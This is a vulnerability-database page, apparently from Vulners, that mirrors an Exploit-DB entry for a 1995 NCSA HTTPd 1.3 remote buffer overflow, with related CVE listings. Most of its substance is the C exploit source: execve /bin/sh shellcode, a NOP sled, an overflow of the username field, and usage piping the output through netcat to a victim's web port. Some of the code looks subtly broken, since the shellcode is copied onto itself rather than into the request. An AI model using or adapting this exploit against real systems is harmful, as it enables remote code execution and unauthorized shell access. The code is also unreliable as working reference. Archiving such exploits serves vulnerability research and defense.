Lucene search
+L

NCSA HTTPd 1.x - Remote Buffer Overflow (2)

🗓️ 17 Feb 1995 00:00:00Reported by XtremistType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

NCSA HTTPd 1.3 vulnerability allows remote buffer overflow, enabling local host access by attackers.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-0235
4 Feb 200005:00
cve
cve
CVE
CVE-1999-0267
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0235
4 Feb 200005:00
cvelist
cvelist
Cvelist
CVE-1999-0267
29 Sep 199904:00
cvelist
exploitdb
Exploit DB
NCSA HTTPd 1.x - Remote Buffer Overflow (1)
23 Apr 199700:00
exploitdb
euvd
EUVD
EUVD-1999-0235
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-1999-0267
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-0235
17 Feb 199505:00
nvd
nvd
NVD
CVE-1999-0267
23 Sep 199704:00
nvd
ptsecurity
Positive Technologies
PT-1995-1015 · Ncsa · Ncsa Webserver
17 Feb 199500:00
ptsecurity
Rows per page
// source: https://www.securityfocus.com/bid/3158/info

NCSA HTTPd is a free, open-source web server for *nix systems.

NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.

Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host.

/*
; NCSA Webserver Buffer Overflow in 1.3
; 	By Xtremist ([email protected]) for [r00tabega.security.labs]
; Tested on Slackware 4.0 with NCSA 1.3
;     usage:
; 	$ (ncsaexpl 0; cat) | nc victim 80
;
;                    OFFSET usually from -1000 to 1000
;   greets all people i know :)
;*/

#include <stdio.h>

unsigned char shell[] = /*  alphae1's shellcode for execve */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


char user[264];

long get_esp(void) {
	__asm__("movl %esp,%eax");
}

int main(int argc,char **argv){

int i; int offset=160;
long ret;
if(argc>1) {
  offset=atoi(argv[1]);
}
ret=(get_esp()-offset);

for(i=1;i<264;i+=4){
*(long *)&user[i]=ret;
}

for(i=0;i<(260-strlen(shell));i++) {
*(user+i)=0x90; /*NOP*/
}

memcpy(shell+i,shell,strlen(shell));

printf("GET %s\n", user);

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.10236
34